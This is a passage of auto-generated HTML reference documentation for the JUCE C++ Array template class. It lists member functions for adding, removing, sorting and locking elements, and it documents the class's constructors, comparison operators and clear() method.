class="memitem:a2fb91e8ec10caa9474a28c88e35f9686"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#a2fb91e8ec10caa9474a28c88e35f9686">set</a> (const int indexToChange, ParameterType newValue)</td></tr> <tr class="memdesc:a2fb91e8ec10caa9474a28c88e35f9686"><td class="mdescLeft">&#160;</td><td class="mdescRight">Replaces an element with a new value. <a href="#a2fb91e8ec10caa9474a28c88e35f9686"></a><br/></td></tr> <tr class="separator:a2fb91e8ec10caa9474a28c88e35f9686"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a8fb9db1598de3bcf85754ff2169dd7eb"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#a8fb9db1598de3bcf85754ff2169dd7eb">setUnchecked</a> (const int indexToChange, ParameterType newValue)</td></tr> <tr class="memdesc:a8fb9db1598de3bcf85754ff2169dd7eb"><td class="mdescLeft">&#160;</td><td class="mdescRight">Replaces an element with a new value without doing any bounds-checking. <a href="#a8fb9db1598de3bcf85754ff2169dd7eb"></a><br/></td></tr> <tr class="separator:a8fb9db1598de3bcf85754ff2169dd7eb"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a3cb98449214bf8993d64dd06c33133eb"><td class="memTemplParams" colspan="2">template&lt;typename Type &gt; </td></tr> <tr class="memitem:a3cb98449214bf8993d64dd06c33133eb"><td class="memTemplItemLeft" align="right" valign="top">void&#160;</td><td class="memTemplItemRight" valign="bottom"><a class="el" href="classArray.html#a3cb98449214bf8993d64dd06c33133eb">addArray</a> (const Type *elementsToAdd, int numElementsToAdd)</td></tr> <tr class="memdesc:a3cb98449214bf8993d64dd06c33133eb"><td class="mdescLeft">&#160;</td><td class="mdescRight">Adds elements from an array to the end of this array. <a href="#a3cb98449214bf8993d64dd06c33133eb"></a><br/></td></tr> <tr class="separator:a3cb98449214bf8993d64dd06c33133eb"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a9dbaaaeea2b8e6ab7eede5c3f080adf8"><td class="memTemplParams" colspan="2">template&lt;typename Type &gt; </td></tr> <tr class="memitem:a9dbaaaeea2b8e6ab7eede5c3f080adf8"><td class="memTemplItemLeft" align="right" valign="top">void&#160;</td><td class="memTemplItemRight" valign="bottom"><a class="el" href="classArray.html#a9dbaaaeea2b8e6ab7eede5c3f080adf8">addNullTerminatedArray</a> (const Type *const *elementsToAdd)</td></tr> <tr class="memdesc:a9dbaaaeea2b8e6ab7eede5c3f080adf8"><td class="mdescLeft">&#160;</td><td class="mdescRight">Adds elements from a null-terminated array of pointers to the end of this array. <a href="#a9dbaaaeea2b8e6ab7eede5c3f080adf8"></a><br/></td></tr> <tr class="separator:a9dbaaaeea2b8e6ab7eede5c3f080adf8"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a921a70882553967e2998beeb30d99f83"><td class="memTemplParams" colspan="2">template&lt;class OtherArrayType &gt; </td></tr> <tr class="memitem:a921a70882553967e2998beeb30d99f83"><td class="memTemplItemLeft" align="right" valign="top">void&#160;</td><td class="memTemplItemRight" valign="bottom"><a class="el" href="classArray.html#a921a70882553967e2998beeb30d99f83">swapWith</a> (OtherArrayType &amp;otherArray) noexcept</td></tr> <tr class="memdesc:a921a70882553967e2998beeb30d99f83"><td class="mdescLeft">&#160;</td><td class="mdescRight">This swaps the contents of this array with those of another array. <a href="#a921a70882553967e2998beeb30d99f83"></a><br/></td></tr> <tr class="separator:a921a70882553967e2998beeb30d99f83"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a75cce24a6741c2e36d4f87084005ba89"><td class="memTemplParams" colspan="2">template&lt;class OtherArrayType &gt; </td></tr> <tr class="memitem:a75cce24a6741c2e36d4f87084005ba89"><td class="memTemplItemLeft" align="right" valign="top">void&#160;</td><td class="memTemplItemRight" valign="bottom"><a class="el" href="classArray.html#a75cce24a6741c2e36d4f87084005ba89">addArray</a> (const OtherArrayType &amp;arrayToAddFrom, int startIndex=0, int numElementsToAdd=-1)</td></tr> <tr class="memdesc:a75cce24a6741c2e36d4f87084005ba89"><td class="mdescLeft">&#160;</td><td class="mdescRight">Adds elements from another array to the end of this array. <a href="#a75cce24a6741c2e36d4f87084005ba89"></a><br/></td></tr> <tr class="separator:a75cce24a6741c2e36d4f87084005ba89"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aeee604745ed7157e6b14e8b54a27634f"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#aeee604745ed7157e6b14e8b54a27634f">resize</a> (const int targetNumItems)</td></tr> <tr class="memdesc:aeee604745ed7157e6b14e8b54a27634f"><td class="mdescLeft">&#160;</td><td class="mdescRight">This will enlarge or shrink the array to the given number of elements, by adding or removing items from its end. <a href="#aeee604745ed7157e6b14e8b54a27634f"></a><br/></td></tr> <tr class="separator:aeee604745ed7157e6b14e8b54a27634f"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:afc5417019f110034658b3c1c02af5a5e"><td class="memTemplParams" colspan="2">template&lt;class ElementComparator &gt; </td></tr> <tr class="memitem:afc5417019f110034658b3c1c02af5a5e"><td class="memTemplItemLeft" align="right" valign="top">int&#160;</td><td class="memTemplItemRight" valign="bottom"><a class="el" href="classArray.html#afc5417019f110034658b3c1c02af5a5e">addSorted</a> (ElementComparator &amp;comparator, ParameterType newElement)</td></tr> <tr class="memdesc:afc5417019f110034658b3c1c02af5a5e"><td class="mdescLeft">&#160;</td><td class="mdescRight">Inserts a new element into the array, assuming that the array is sorted. <a href="#afc5417019f110034658b3c1c02af5a5e"></a><br/></td></tr> <tr class="separator:afc5417019f110034658b3c1c02af5a5e"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a88466744eccb48806b74defa442c843b"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#a88466744eccb48806b74defa442c843b">addUsingDefaultSort</a> (ParameterType newElement)</td></tr> <tr class="memdesc:a88466744eccb48806b74defa442c843b"><td class="mdescLeft">&#160;</td><td class="mdescRight">Inserts a new element into the array, assuming that the array is sorted. <a href="#a88466744eccb48806b74defa442c843b"></a><br/></td></tr> <tr class="separator:a88466744eccb48806b74defa442c843b"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ad3faadfb7b8eb05350afb1c9dd951ff5"><td class="memTemplParams" colspan="2">template&lt;typename ElementComparator , typename TargetValueType &gt; </td></tr> <tr class="memitem:ad3faadfb7b8eb05350afb1c9dd951ff5"><td class="memTemplItemLeft" align="right" valign="top">int&#160;</td><td class="memTemplItemRight" valign="bottom"><a class="el" href="classArray.html#ad3faadfb7b8eb05350afb1c9dd951ff5">indexOfSorted</a> (ElementComparator &amp;comparator, TargetValueType elementToLookFor) const </td></tr> <tr class="memdesc:ad3faadfb7b8eb05350afb1c9dd951ff5"><td class="mdescLeft">&#160;</td><td class="mdescRight">Finds the index of an element in the array, assuming that the array is sorted. <a href="#ad3faadfb7b8eb05350afb1c9dd951ff5"></a><br/></td></tr> <tr class="separator:ad3faadfb7b8eb05350afb1c9dd951ff5"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:af36ad6bf7849a3a3557a5457458701d0"><td class="memItemLeft" align="right" valign="top">ElementType&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#af36ad6bf7849a3a3557a5457458701d0">remove</a> (const int indexToRemove)</td></tr> <tr class="memdesc:af36ad6bf7849a3a3557a5457458701d0"><td class="mdescLeft">&#160;</td><td class="mdescRight">Removes an element from the array. <a href="#af36ad6bf7849a3a3557a5457458701d0"></a><br/></td></tr> <tr class="separator:af36ad6bf7849a3a3557a5457458701d0"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a327c9e19074544bfef2caa5d41ff8131"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#a327c9e19074544bfef2caa5d41ff8131">remove</a> (const ElementType *elementToRemove)</td></tr> <tr class="memdesc:a327c9e19074544bfef2caa5d41ff8131"><td class="mdescLeft">&#160;</td><td class="mdescRight">Removes an element from the array. <a href="#a327c9e19074544bfef2caa5d41ff8131"></a><br/></td></tr> <tr class="separator:a327c9e19074544bfef2caa5d41ff8131"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:adb629ebfbcba98f1f5e1ca47ccca594e"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#adb629ebfbcba98f1f5e1ca47ccca594e">removeFirstMatchingValue</a> (ParameterType valueToRemove)</td></tr> <tr class="memdesc:adb629ebfbcba98f1f5e1ca47ccca594e"><td class="mdescLeft">&#160;</td><td class="mdescRight">Removes an item from the array. <a href="#adb629ebfbcba98f1f5e1ca47ccca594e"></a><br/></td></tr> <tr class="separator:adb629ebfbcba98f1f5e1ca47ccca594e"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a2023eddb4bd8a3e0df96ab789ef139ce"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#a2023eddb4bd8a3e0df96ab789ef139ce">removeAllInstancesOf</a> (ParameterType valueToRemove)</td></tr> <tr class="memdesc:a2023eddb4bd8a3e0df96ab789ef139ce"><td class="mdescLeft">&#160;</td><td class="mdescRight">Removes an item from the array. <a href="#a2023eddb4bd8a3e0df96ab789ef139ce"></a><br/></td></tr> <tr class="separator:a2023eddb4bd8a3e0df96ab789ef139ce"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ae9f26706cc40ce178424b2b4ba1f9647"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#ae9f26706cc40ce178424b2b4ba1f9647">removeRange</a> (int startIndex, int numberToRemove)</td></tr> <tr class="memdesc:ae9f26706cc40ce178424b2b4ba1f9647"><td class="mdescLeft">&#160;</td><td class="mdescRight">Removes a range of elements from the array. <a href="#ae9f26706cc40ce178424b2b4ba1f9647"></a><br/></td></tr> <tr class="separator:ae9f26706cc40ce178424b2b4ba1f9647"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:af6fe3614e877f04a42330f440a5548da"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#af6fe3614e877f04a42330f440a5548da">removeLast</a> (int howManyToRemove=1)</td></tr> <tr class="memdesc:af6fe3614e877f04a42330f440a5548da"><td class="mdescLeft">&#160;</td><td class="mdescRight">Removes the last n elements from the array. <a href="#af6fe3614e877f04a42330f440a5548da"></a><br/></td></tr> <tr class="separator:af6fe3614e877f04a42330f440a5548da"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a1474eae027a73758ca12734001ec9da0"><td class="memTemplParams" colspan="2">template&lt;class OtherArrayType &gt; </td></tr> <tr class="memitem:a1474eae027a73758ca12734001ec9da0"><td class="memTemplItemLeft" align="right" valign="top">void&#160;</td><td class="memTemplItemRight" valign="bottom"><a class="el" href="classArray.html#a1474eae027a73758ca12734001ec9da0">removeValuesIn</a> (const OtherArrayType &amp;otherArray)</td></tr> <tr class="memdesc:a1474eae027a73758ca12734001ec9da0"><td class="mdescLeft">&#160;</td><td class="mdescRight">Removes any elements which are also in another array. <a href="#a1474eae027a73758ca12734001ec9da0"></a><br/></td></tr> <tr class="separator:a1474eae027a73758ca12734001ec9da0"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:af3d9c435c3cddb0de674306b809430e3"><td class="memTemplParams" colspan="2">template&lt;class OtherArrayType &gt; </td></tr> <tr class="memitem:af3d9c435c3cddb0de674306b809430e3"><td class="memTemplItemLeft" align="right" valign="top">void&#160;</td><td class="memTemplItemRight" valign="bottom"><a class="el" href="classArray.html#af3d9c435c3cddb0de674306b809430e3">removeValuesNotIn</a> (const OtherArrayType &amp;otherArray)</td></tr> <tr class="memdesc:af3d9c435c3cddb0de674306b809430e3"><td class="mdescLeft">&#160;</td><td class="mdescRight">Removes any elements which are not found in another array. <a href="#af3d9c435c3cddb0de674306b809430e3"></a><br/></td></tr> <tr class="separator:af3d9c435c3cddb0de674306b809430e3"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ae686a3e14b9134ddae4b6bd6088350e5"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#ae686a3e14b9134ddae4b6bd6088350e5">swap</a> (const int index1, const int index2)</td></tr> <tr class="memdesc:ae686a3e14b9134ddae4b6bd6088350e5"><td class="mdescLeft">&#160;</td><td class="mdescRight">Swaps over two elements in the array. <a href="#ae686a3e14b9134ddae4b6bd6088350e5"></a><br/></td></tr> <tr class="separator:ae686a3e14b9134ddae4b6bd6088350e5"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aed7d9992d0e88297d4d92487205436e2"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#aed7d9992d0e88297d4d92487205436e2">move</a> (const int currentIndex, int newIndex) noexcept</td></tr> <tr class="memdesc:aed7d9992d0e88297d4d92487205436e2"><td class="mdescLeft">&#160;</td><td class="mdescRight">Moves one of the values to a different position. <a href="#aed7d9992d0e88297d4d92487205436e2"></a><br/></td></tr> <tr class="separator:aed7d9992d0e88297d4d92487205436e2"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a0773349e71721e177ee12c8ffd20b5d8"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#a0773349e71721e177ee12c8ffd20b5d8">minimiseStorageOverheads</a> ()</td></tr> <tr class="memdesc:a0773349e71721e177ee12c8ffd20b5d8"><td class="mdescLeft">&#160;</td><td class="mdescRight">Reduces the amount of storage being used by the array. <a href="#a0773349e71721e177ee12c8ffd20b5d8"></a><br/></td></tr> <tr class="separator:a0773349e71721e177ee12c8ffd20b5d8"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a43d61929a72c859191859f02e35d2058"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#a43d61929a72c859191859f02e35d2058">ensureStorageAllocated</a> (const int minNumElements)</td></tr> <tr class="memdesc:a43d61929a72c859191859f02e35d2058"><td class="mdescLeft">&#160;</td><td class="mdescRight">Increases the array's internal storage to hold a minimum number of elements. <a href="#a43d61929a72c859191859f02e35d2058"></a><br/></td></tr> <tr class="separator:a43d61929a72c859191859f02e35d2058"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:abd6210cb3337f1cc11b89bc7b63f9c72"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#abd6210cb3337f1cc11b89bc7b63f9c72">sort</a> ()</td></tr> <tr class="memdesc:abd6210cb3337f1cc11b89bc7b63f9c72"><td class="mdescLeft">&#160;</td><td class="mdescRight">Sorts the array using a default comparison operation. <a href="#abd6210cb3337f1cc11b89bc7b63f9c72"></a><br/></td></tr> <tr class="separator:abd6210cb3337f1cc11b89bc7b63f9c72"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ae41b43e6f47cfa888c01cc09d58f08fa"><td class="memTemplParams" colspan="2">template&lt;class ElementComparator &gt; </td></tr> <tr class="memitem:ae41b43e6f47cfa888c01cc09d58f08fa"><td class="memTemplItemLeft" align="right" valign="top">void&#160;</td><td class="memTemplItemRight" valign="bottom"><a class="el" href="classArray.html#ae41b43e6f47cfa888c01cc09d58f08fa">sort</a> (ElementComparator &amp;comparator, const bool retainOrderOfEquivalentItems=false)</td></tr> <tr class="memdesc:ae41b43e6f47cfa888c01cc09d58f08fa"><td class="mdescLeft">&#160;</td><td class="mdescRight">Sorts the elements in the array. <a href="#ae41b43e6f47cfa888c01cc09d58f08fa"></a><br/></td></tr> <tr class="separator:ae41b43e6f47cfa888c01cc09d58f08fa"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a37f02f5c6eedcc9bd661069e1b991bb1"><td class="memItemLeft" align="right" valign="top">const <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &amp;&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#a37f02f5c6eedcc9bd661069e1b991bb1">getLock</a> () const noexcept</td></tr> <tr class="memdesc:a37f02f5c6eedcc9bd661069e1b991bb1"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the <a class="el" href="classCriticalSection.html" title="A re-entrant mutex.">CriticalSection</a> that locks this array. <a href="#a37f02f5c6eedcc9bd661069e1b991bb1"></a><br/></td></tr> <tr class="separator:a37f02f5c6eedcc9bd661069e1b991bb1"><td class="memSeparator" colspan="2">&#160;</td></tr> </table> <a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2> <div class="textblock"><h3>template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt;<br/> class Array&lt; ElementType, TypeOfCriticalSectionToUse, minimumAllocatedSize &gt;</h3> <p>Holds a resizable array of primitive or copy-by-value objects. </p> <p>Examples of arrays are: <a class="el" href="classArray.html">Array&lt;int&gt;</a>, Array&lt;Rectangle&gt; or Array&lt;MyClass*&gt;</p> <p>The <a class="el" href="classArray.html" title="Holds a resizable array of primitive or copy-by-value objects.">Array</a> class can be used to hold simple, non-polymorphic objects as well as primitive types - to do so, the class must fulfil these requirements:</p> <ul> <li>it must have a copy constructor and assignment operator</li> <li>it must be able to be relocated in memory by a memcpy without this causing any problems - so objects whose functionality relies on external pointers or references to themselves can not be used.</li> </ul> <p>You can of course have an array of pointers to any kind of object, e.g. Array&lt;MyClass*&gt;, but if you do this, the array doesn't take any ownership of the objects - see the <a class="el" href="classOwnedArray.html" title="An array designed for holding objects.">OwnedArray</a> class or the <a class="el" href="classReferenceCountedArray.html" title="Holds a list of objects derived from ReferenceCountedObject, or which implement basic reference-count...">ReferenceCountedArray</a> class for more powerful ways of holding lists of objects.</p> <p>For holding lists of strings, you can use <a class="el" href="classArray.html" title="Holds a resizable array of primitive or copy-by-value objects.">Array</a>&lt;<a class="el" href="classString.html" title="The JUCE String class!">String</a>&gt;, but it's usually better to use the specialised class <a class="el" href="classStringArray.html" title="A special array for holding a list of strings.">StringArray</a>, which provides more useful functions.</p> <p>To make all the array's methods thread-safe, pass in "CriticalSection" as the templated TypeOfCriticalSectionToUse parameter, instead of the default <a class="el" href="classDummyCriticalSection.html" title="A class that can be used in place of a real CriticalSection object, but which doesn&#39;t perform any loc...">DummyCriticalSection</a>.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classOwnedArray.html" title="An array designed for holding objects.">OwnedArray</a>, <a class="el" href="classReferenceCountedArray.html" title="Holds a list of objects derived from ReferenceCountedObject, or which implement basic reference-count...">ReferenceCountedArray</a>, <a class="el" href="classStringArray.html" title="A special array for holding a list of strings.">StringArray</a>, <a class="el" href="classCriticalSection.html" title="A re-entrant mutex.">CriticalSection</a> </dd></dl> </div><h2 class="groupheader">Member Typedef Documentation</h2> <a class="anchor" id="a191f66a972ab264e2f8361727fb59ae7"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname">typedef TypeOfCriticalSectionToUse::ScopedLockType <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::<a class="el" href="classArray.html#a191f66a972ab264e2f8361727fb59ae7">ScopedLockType</a></td> </tr> </table> </div><div class="memdoc"> <p>Returns the type of scoped lock to use for locking this array. </p> </div> </div> <h2 class="groupheader">Constructor &amp; Destructor Documentation</h2> <a class="anchor" id="a527fe1f41cd10ccc5d8b7471d7dbef52"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::<a class="el" href="classArray.html">Array</a> </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Creates an empty array. </p> </div> </div> <a class="anchor" id="a738abff2826095c6f95ffa9e1e2a04bc"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname"><a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::<a class="el" href="classArray.html">Array</a> </td> <td>(</td> <td class="paramtype">const <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt; &amp;&#160;</td> <td class="paramname"><em>other</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Creates a copy of another array. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">other</td><td>the array to copy </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="a6a1ecdfef773aa85351eb93bda32951b"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <div class="memtemplate"> template&lt;typename TypeToCreateFrom &gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::<a class="el" href="classArray.html">Array</a> </td> <td>(</td> <td class="paramtype">const TypeToCreateFrom *&#160;</td> <td class="paramname"><em>values</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">explicit</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Initalises from a null-terminated C array of values. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">values</td><td>the array to copy from </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="aaa426011ebe1d6a9d32302f92ead8b98"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <div class="memtemplate"> template&lt;typename TypeToCreateFrom &gt; </div> <table class="memname"> <tr> <td class="memname"><a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::<a class="el" href="classArray.html">Array</a> </td> <td>(</td> <td class="paramtype">const TypeToCreateFrom *&#160;</td> <td class="paramname"><em>values</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>numValues</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Initalises from a C array of values. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">values</td><td>the array to copy from </td></tr> <tr><td class="paramname">numValues</td><td>the number of values in the array </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="a6149be5bb4ad25d738a9a6c1ef78253d"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname"><a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::~<a class="el" href="classArray.html">Array</a> </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Destructor. </p> </div> </div> <h2 class="groupheader">Member Function Documentation</h2> <a class="anchor" id="ae6f46b7a7bee66e0ab05dd83dca4e79d"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname"><a class="el" href="classArray.html">Array</a>&amp; <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::operator= </td> <td>(</td> <td class="paramtype">const <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt; &amp;&#160;</td> <td class="paramname"><em>other</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Copies another array. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">other</td><td>the array to copy </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="abe323c4e118f22cd1d09c2557a74c3d5"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <div class="memtemplate"> template&lt;class OtherArrayType &gt; </div> <table class="memname"> <tr> <td class="memname">bool <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::operator== </td> <td>(</td> <td class="paramtype">const OtherArrayType &amp;&#160;</td> <td class="paramname"><em>other</em></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Compares this array to another one. </p> <p>Two arrays are considered equal if they both contain the same set of elements, in the same order. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">other</td><td>the other array to compare with </td></tr> </table> </dd> </dl> <p>Referenced by <a class="el" href="classArray.html#a63cbf228f47c23e0f52d5f73b9fa8c0e">Array&lt; Glyph &gt;::operator!=()</a>.</p> </div> </div> <a class="anchor" id="a63cbf228f47c23e0f52d5f73b9fa8c0e"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <div class="memtemplate"> template&lt;class OtherArrayType &gt; </div> <table class="memname"> <tr> <td class="memname">bool <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::operator!= </td> <td>(</td> <td class="paramtype">const OtherArrayType &amp;&#160;</td> <td class="paramname"><em>other</em></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Compares this array to another one. </p> <p>Two arrays are considered equal if they both contain the same set of elements, in the same order. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">other</td><td>the other array to compare with </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="a86dc5fe378bb99b85beb8ab86c279654"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::clear </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Removes all elements from the array. </p> <p>This will remove all the elements, and free any storage that the array is using. To clear the array without freeing the storage, use the <a class="el" href="classArray.html#a96bcb7013ec2d56da8b918da7fc0809c" title="Removes all elements from the array without freeing the array&#39;s allocated storage.">clearQuick()</a> method instead.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classArray.html#a96bcb7013ec2d56da8b918da7fc0809c" title="Removes all elements from the array without freeing the array&#39;s allocated storage.">clearQuick</a> </dd></dl> <p>Referenced by <a class="el" href="classSparseSet.html#a7d2fc6674ce3c6c0c52d720d88752339">SparseSet&lt; int &gt;::clear()</a>, <a class="el" href="classSortedSet.html#a0cc4c313458f6d87513fda77d31eaa71">SortedSet&lt; ColourSetting &gt;::clear()</a>, <a class="el" href="classPluginBusUtilities.html#ac2ee237b0124b0010a92c971abc21577">PluginBusUtilities::clear()</a>, <a class="el" href="classLassoComponent.html#a77e7463330941cd3ef81fa41209387f0">LassoComponent&lt; SelectableItemType &gt;::endLasso()</a>, <a class="el" href="classArray.html#a1474eae027a73758ca12734001ec9da0">Array&lt; Glyph &gt;::removeValuesIn()</a>, and <a class="el" 